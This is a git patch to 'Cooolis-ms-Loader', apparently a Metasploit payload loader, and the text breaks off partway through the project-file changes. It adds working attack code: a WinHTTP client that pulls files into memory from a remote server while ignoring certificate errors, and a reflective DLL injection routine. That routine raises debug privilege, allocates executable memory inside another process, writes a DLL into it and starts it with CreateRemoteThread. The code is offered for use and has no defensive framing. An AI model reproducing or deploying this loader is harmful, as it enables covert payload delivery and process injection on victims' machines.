From e09353a8d8f052fd1cb2bc770a06c26b39929b00 Mon Sep 17 00:00:00 2001 From: Rvn0xsy Date: Sun, 4 Oct 2020 02:20:36 +0800 Subject: [PATCH] Update version v1.1.4 --- Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.cpp | 291 ++++++++++++ Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.h | 41 ++ .../Cooolis-ms/Cooolis-Reflective.cpp | 418 ++++++++++++++++++ .../Cooolis-ms/Cooolis-Reflective.h | 76 ++++ .../Cooolis-ms/Cooolis-ms.vcxproj | 12 +- .../Cooolis-ms/Cooolis-ms.vcxproj.filters | 12 + Cooolis-ms-Loader/Cooolis-ms/Cooolis-msf.h | 2 +- Cooolis-ms-Loader/Cooolis-ms/source.cpp | 71 ++- 8 files changed, 913 insertions(+), 10 deletions(-) create mode 100644 Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.cpp create mode 100644 Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.h create mode 100644 Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.cpp create mode 100644 Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.h diff --git a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.cpp b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.cpp new file mode 100644 index 0000000..faedd90 --- /dev/null +++ b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.cpp @@ -0,0 +1,291 @@ +#include "Cooolis-Http.h" + +CCooolisHttp::CCooolisHttp() +{ + hSession = WinHttpOpen( + LIB_HTTP_USER_AGENT, + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, + 0); +} + +BOOL CCooolisHttp::ConnectServer(LPCWSTR pswzServerName, INTERNET_PORT nServerPort) +{ + if (hSession == NULL) { + // Session初始化错误! + return FALSE; + } + hConnect = WinHttpConnect(hSession, pswzServerName, nServerPort, 0); + if (hConnect != NULL) { + return TRUE; + } + return FALSE; +} + +BOOL CCooolisHttp::HttpAddHeaders(LPCWSTR szHeader) +{ + // 如果长度大于0则添加 + if (lstrlen(szHeader) > 0) { + // 添加Header + this->szHeaders.push_back(szHeader); + return TRUE; + } + return FALSE; +} + +BOOL CCooolisHttp::HttpAddHeaders(std::vector szHeaders) +{ + // 直接赋值外部Headers,后面的将直接替换 + this->szHeaders = szHeaders; + return 0; +} + +DWORD CCooolisHttp::HttpGet(LPCWSTR pszServerURI, std::vector& wszResponse) +{ + DWORD dwResponseContentLen = 0; // 响应体大小 + LPVOID lpszResponseBody = NULL; // 响应内容 + // 连接服务器 + if (!hConnect) { + // 连接错误! + return -1; + } + // 连接成功 + // printf("[+] hSession WinHttpConnect Host \n"); + // 创建请求对象 + hRequest = WinHttpOpenRequest( + hConnect, + TEXT("GET"), // Request Method + pszServerURI, // Request URI + NULL, + WINHTTP_NO_REFERER, // 没有Referer + WINHTTP_DEFAULT_ACCEPT_TYPES, + WINHTTP_FLAG_ESCAPE_DISABLE + ); + // 设置HTTP头 + this->SetHeaders(); + + // 发送HTTP请求 + if (this->SendRequest() == FALSE) { + return -1; + } + // 获取响应 ContentLength,如果没有内容,则返回 0 + dwResponseContentLen = this->GetResponseContentLength(); + if (dwResponseContentLen == 0) { + return dwResponseContentLen; + } + // 申请内存空间用于存放返回内容 + lpszResponseBody = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwResponseContentLen); + // 从HTTP响应读取内容 + if (WinHttpReadData(hRequest, lpszResponseBody, dwResponseContentLen, &dwResponseContentLen) == FALSE) { + return -1; + } + // printf("[+] GET Request Content-Length : %d \n", dwResponseContentLen); + // 将响应内容返回 + for (DWORD i = 0; i < dwResponseContentLen; i++) + { + BYTE byS = (BYTE) * ((PCHAR)lpszResponseBody + i); + wszResponse.push_back(byS); + } + + // printf("[+] Error %u in WinHttpReadData.\n", GetLastError()); + // 释放原先申请的内存 + HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, lpszResponseBody); + // 关闭请求句柄 + if (hRequest) WinHttpCloseHandle(hRequest); + // 返回网页大小 + return dwResponseContentLen; +} + +DWORD CCooolisHttp::HttpPost(LPCWSTR pszServerURI, LPVOID pszSendData, DWORD dwSendDataLen, std::vector& wszResponse) +{ + DWORD dwResponseContentLen = 0; // 响应体大小 + LPVOID lpszResponseBody = NULL; // 响应内容 + // 连接服务器 + if (!hConnect) { + // 连接错误! + return -1; + } + // 连接成功 + // printf("[+] hSession WinHttpConnect Host \n"); + // 创建请求对象 + hRequest = WinHttpOpenRequest( + hConnect, + TEXT("POST"), // Request Method + pszServerURI, // Request URI + NULL, + WINHTTP_NO_REFERER, // 没有Referer + WINHTTP_DEFAULT_ACCEPT_TYPES, + WINHTTP_FLAG_ESCAPE_DISABLE + ); + // 设置HTTP头 + this->SetHeaders(); + + // 发送HTTP请求 + if (this->SendRequest(pszSendData, dwSendDataLen) == FALSE) { + return -1; + } + // 获取响应 ContentLength,如果没有内容,则返回 0 + dwResponseContentLen = this->GetResponseContentLength(); + if (dwResponseContentLen == 0) { + return dwResponseContentLen; + } + // 申请内存空间用于存放返回内容 + lpszResponseBody = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwResponseContentLen); + // 从HTTP响应读取内容 + if (WinHttpReadData(hRequest, lpszResponseBody, dwResponseContentLen, &dwResponseContentLen) == FALSE) { + return -1; + } + // printf("[+] POST Request Content-Length : %d \n", dwResponseContentLen); + // 将响应内容返回 + for (DWORD i = 0; i < dwResponseContentLen; i++) + { + BYTE byS = (BYTE) * ((PCHAR)lpszResponseBody + i); + wszResponse.push_back(byS); + + } + // 释放原先申请的内存 + HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, lpszResponseBody); + // 关闭请求句柄 + if (hRequest) WinHttpCloseHandle(hRequest); + // 返回网页大小 + return dwResponseContentLen; +} + +// 将Http文件读到内存 +LPVOID CCooolisHttp::ReadHttpFile(LPCWSTR pszServerURI, DWORD& dwResponseLength) +{ + // DWORD dwResponseContentLen = 0; // 响应体大小 + LPVOID lpszResponseBody = NULL; // 响应内容 + // 连接服务器 + if (!hConnect) { + // 连接错误! + return NULL; + } + // 连接成功 + // printf("[+] hSession WinHttpConnect Host \n"); + // 创建请求对象 + hRequest = WinHttpOpenRequest( + hConnect, + TEXT("GET"), // Request Method + pszServerURI, // Request URI + NULL, + WINHTTP_NO_REFERER, // 没有Referer + WINHTTP_DEFAULT_ACCEPT_TYPES, + WINHTTP_FLAG_ESCAPE_DISABLE | WINHTTP_FLAG_SECURE + ); + // 设置HTTP头 + this->SetHeaders(); + + // 发送HTTP请求 + if (this->SendRequest() == FALSE) { + return NULL; + } + // 获取响应 ContentLength,如果没有内容,则返回 0 + dwResponseLength = this->GetResponseContentLength(); + if (dwResponseLength == 0) { + return NULL; + } + // 申请内存空间用于存放返回内容 + lpszResponseBody = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwResponseLength); + // 从HTTP响应读取内容 + if (WinHttpReadData(hRequest, lpszResponseBody, dwResponseLength, &dwResponseLength) == FALSE) { + return NULL; + } + + // 关闭请求句柄 + if (hRequest) WinHttpCloseHandle(hRequest); + // 返回网页大小 + return lpszResponseBody; +} + +VOID CCooolisHttp::SetHeaders() +{ + INT nHeaderCount = this->szHeaders.size(); + // wprintf(TEXT("[+] Header Size : %d \n"), nHeaderCount); + if (nHeaderCount <= 0) { + return VOID(); + } + for (INT i = 0; i < nHeaderCount; i++) + { + WinHttpAddRequestHeaders(hRequest, + szHeaders[i].data(), + szHeaders[i].length(), + WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE); + } + return VOID(); +} + +DWORD CCooolisHttp::GetResponseContentLength() +{ + DWORD dwResponseLength = 0; + DWORD dwCch = sizeof(DWORD); + WinHttpQueryHeaders(hRequest, + WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, + &dwResponseLength, + &dwCch, + WINHTTP_NO_HEADER_INDEX); + return dwResponseLength; +} + +BOOL CCooolisHttp::SendRequest() +{ + BOOL bIsSend = FALSE; + + + if (hRequest == NULL) + return FALSE; + + + DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; + // 设置HTTPS + WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); + WinHttpSetOption(hRequest, WINHTTP_OPTION_CLIENT_CERT_CONTEXT, WINHTTP_NO_CLIENT_CERT_CONTEXT, 0); + + // 发送HTTP请求 + bIsSend = WinHttpSendRequest( + hRequest, + WINHTTP_NO_ADDITIONAL_HEADERS, + 0, + WINHTTP_NO_REQUEST_DATA, + NULL, + 0, + 0); + if (bIsSend) { + // 开始接受响应 + WinHttpReceiveResponse(hRequest, NULL); + return TRUE; + } + return bIsSend; +} + +BOOL CCooolisHttp::SendRequest(LPVOID pswzSendData, DWORD dwSendDataLen) +{ + // 如果不填写请求长度,默认不发送任何数据 + if (dwSendDataLen == 0) { + return this->SendRequest(); + } + // 是否请求成功 + BOOL bIsSend = FALSE; + if (hRequest == NULL) + return FALSE; + // 发送HTTP请求 + bIsSend = WinHttpSendRequest( + hRequest, + WINHTTP_NO_ADDITIONAL_HEADERS, + 0, + pswzSendData, + dwSendDataLen, + dwSendDataLen, + 0); + if (bIsSend) { + // 开始接受响应 + WinHttpReceiveResponse(hRequest, NULL); + return TRUE; + } + return bIsSend; +} diff --git a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.h b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.h new file mode 100644 index 0000000..f5e17c6 --- /dev/null +++ b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.h @@ -0,0 +1,41 @@ +#pragma once +#include +#include +#include +#include + +#define LIB_HTTP_USER_AGENT L"Mozilla/5.02 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari" + + +class CCooolisHttp { +public: + CCooolisHttp(); + virtual BOOL ConnectServer(LPCWSTR pswzServerName, INTERNET_PORT nServerPort); + virtual BOOL HttpAddHeaders(LPCWSTR szHeader); // 添加HTTP头 + virtual BOOL HttpAddHeaders(std::vector szHeaders); // 添加多个HTTP头 + // 发送GET请求 + virtual DWORD HttpGet( + LPCWSTR pszServerURI, + std::vector& wszResponse + ); + // 发送POST请求 + virtual DWORD HttpPost( + LPCWSTR pszServerURI, + LPVOID pszSendData, + DWORD dwSendDataLen, + std::vector& wszResponse + ); + // 从Http Server读取文件到内存 + virtual LPVOID ReadHttpFile(LPCWSTR pszServerURI, DWORD & dwResponseLength); + +private: + HINTERNET hSession = NULL; + HINTERNET hConnect = NULL; + HINTERNET hRequest = NULL; + std::vector szHeaders; // 请求头 + VOID SetHeaders(); // 设置请求头 + DWORD GetResponseContentLength(); // 获取响应内容长度 + BOOL SendRequest(); // 发送请求 + BOOL SendRequest(LPVOID pswzSendData, DWORD dwSendDataLen); // 发送带参数的请求 + +}; \ No newline at end of file diff --git a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.cpp b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.cpp new file mode 100644 index 0000000..9c217e9 --- /dev/null +++ b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.cpp @@ -0,0 +1,418 @@ +#include "Cooolis-Reflective.h" + + + +CCooolisReflective::CCooolisReflective() +{ + +} + +CCooolisReflective::~CCooolisReflective() +{ + +} + +BOOL CCooolisReflective::ReflectiveInject(DWORD dwProcessId, std::string sReflectiveDllName) +{ + HANDLE hFile = NULL; + DWORD dwLength = 0; + LPVOID lpBuffer = NULL; + DWORD dwBytesRead = 0; + TOKEN_PRIVILEGES priv = { 0 }; + HANDLE hToken = NULL; + HANDLE hProcess = NULL; + HANDLE hModule = NULL; + + // 读取DLL文件 + hFile = CreateFileA(sReflectiveDllName.data(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + std::cout << "[-] Failed to open the DLL file." << std::endl; + return FALSE; + } + dwLength = GetFileSize(hFile, NULL); // 获取文件大小 + // 申请内存 + lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); + if (!lpBuffer) { + std::cout << "[-] Failed to get the DLL file size." << std::endl; + return FALSE; + } + // 读取到堆内存中 + if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) { + std::cout << "[-] Failed to alloc a buffer!" << std::endl; + return FALSE; + } + // 尝试提升本程序的Debug权限 + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) + AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL); + CloseHandle(hToken); + } + else { + std::cout << "[-] Failed to set process DEBUG Privilege." << std::endl; + return FALSE; + } + // 打开进程 + hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId); + if (!hProcess) { + std::cout << "[-] Failed to open the target process." << std::endl; + return FALSE; + } + + // 执行进程注入 + hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL); + if (!hModule) { + std::cout << "[-] Failed to inject the DLL." << std::endl; + return FALSE; + } + + + std::cout <<"[+] Injected the " << sReflectiveDllName << " DLL into process : " << dwProcessId << std::endl; + + // 等待注入代码执行完毕 + + WaitForSingleObject(hModule, -1); + if (lpBuffer) + HeapFree(GetProcessHeap(), 0, lpBuffer); + + if (hProcess) + CloseHandle(hProcess); + + return TRUE; +} + +BOOL CCooolisReflective::ReflectiveInject(DWORD dwProcessId, LPVOID lpBuffer, DWORD dwLength) +{ + + DWORD dwBytesRead = 0; + TOKEN_PRIVILEGES priv = { 0 }; + HANDLE hToken = NULL; + HANDLE hProcess = NULL; + HANDLE hModule = NULL; + + // 尝试提升本程序的Debug权限 + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) + AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL); + CloseHandle(hToken); + } + else { + std::cout << "[-] Failed to set process DEBUG Privilege." << std::endl; + return FALSE; + } + // 打开进程 + hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId); + if (!hProcess) { + std::cout << "[-] Failed to open the target process." << std::endl; + return FALSE; + } + + // 执行进程注入 + hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL); + if (!hModule) { + std::cout << "[-] Failed to inject the DLL." << std::endl; + return FALSE; + } + + + std::cout << "[+] Injected the DLL into process : " << dwProcessId << std::endl; + + // 等待注入代码执行完毕 + + WaitForSingleObject(hModule, -1); + if (lpBuffer) + HeapFree(GetProcessHeap(), 0, lpBuffer); + + if (hProcess) + CloseHandle(hProcess); + + return TRUE; +} + +DWORD CCooolisReflective::GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef WIN_X64 + DWORD dwCompiledArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwCompiledArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32 + { + if (dwCompiledArch != 1) + return 0; + } + else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64 + { + if (dwCompiledArch != 2) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while (dwCounter--) + { + char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress)); + + if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} + +DWORD CCooolisReflective::Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if (dwRva < pSectionHeader[0].PointerToRawData) + return dwRva; + + for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++) + { + if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData)) + return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData); + } + + return 0; + +} + +HMODULE __stdcall CCooolisReflective::LoadLibraryR(LPVOID lpBuffer, DWORD dwLength) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if (lpBuffer == NULL || dwLength == 0) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); + if (dwReflectiveLoaderOffset != 0) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if (VirtualProtect(lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1)) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if (pDllMain != NULL) + { + // call the loaded librarys DllMain to get its HMODULE + if (!pDllMain(NULL, DLL_QUERY_HMODULE, &hResult)) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect(lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2); + } + } + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + hResult = NULL; + } + + return hResult; +} + +FARPROC __stdcall CCooolisReflective::GetProcAddressR(HANDLE hModule, LPCSTR lpProcName) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if (hModule == NULL) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions); + + // get the VA for the array of name pointers + uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals); + + // test if we are importing by name or by ordinal... + if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD)); + + // resolve the address for this imported function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while (dwCounter--) + { + char* cpExportedFunctionName = (char*)(uiLibraryAddress + DEREF_32(uiNameArray)); + + // test if we have a match... + if (strcmp(cpExportedFunctionName, lpProcName) == 0) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + fpResult = NULL; + } + + return fpResult; +} + +HANDLE __stdcall CCooolisReflective::LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter) +{ + BOOL bSuccess = FALSE; + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if (!hProcess || !lpBuffer || !dwLength) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); + if (!dwReflectiveLoaderOffset) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!lpRemoteLibraryBuffer) + break; + + // write the image into the host process... + if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId); + + } while (0); + + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + hThread = NULL; + } + + return hThread; +} diff --git a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.h b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.h new file mode 100644 index 0000000..4d3a4fa --- /dev/null +++ b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.h @@ -0,0 +1,76 @@ +#pragma once +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + + +class CCooolisReflective +{ +public: + CCooolisReflective(); + ~CCooolisReflective(); + BOOL ReflectiveInject(DWORD dwProcessId, std::string sReflectiveDllName); + BOOL ReflectiveInject(DWORD dwProcessId, LPVOID lpBuffer, DWORD dwLength); +private: + DWORD dwProcessId = NULL; // 进程ID + + DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer); // 获取反射DLL入口 + DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress); + HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength); // 加载本地反射DLL + FARPROC WINAPI GetProcAddressR(HANDLE hModule, LPCSTR lpProcName); + HANDLE WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter); // 远程注入反射DLL +}; + + + + + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-ms.vcxproj b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-ms.vcxproj index 0905d87..4da18ec 100644 --- a/Cooolis-ms-Loader/Cooolis-ms/Cooolis-ms.vcxproj +++ b/Cooolis-ms-Loader/Cooolis-ms/Cooolis-ms.vcxproj @@ -88,7 +88,7 @@ Console true - ws2_32.lib;Advapi32.lib;%(AdditionalDependencies) + ws2_32.lib;Advapi32.lib;Winhttp.lib;%(AdditionalDependencies) @@ -102,7 +102,7 @@ Windows true - ws2_32.lib;Advapi32.lib;%(AdditionalDependencies) + ws2_32.lib;Advapi32.lib;Winhttp.lib;%(AdditionalDependencies) @@ -127,7 +127,7 @@ false true true - ws2_32.lib;Advapi32.lib;%(AdditionalDependencies) + 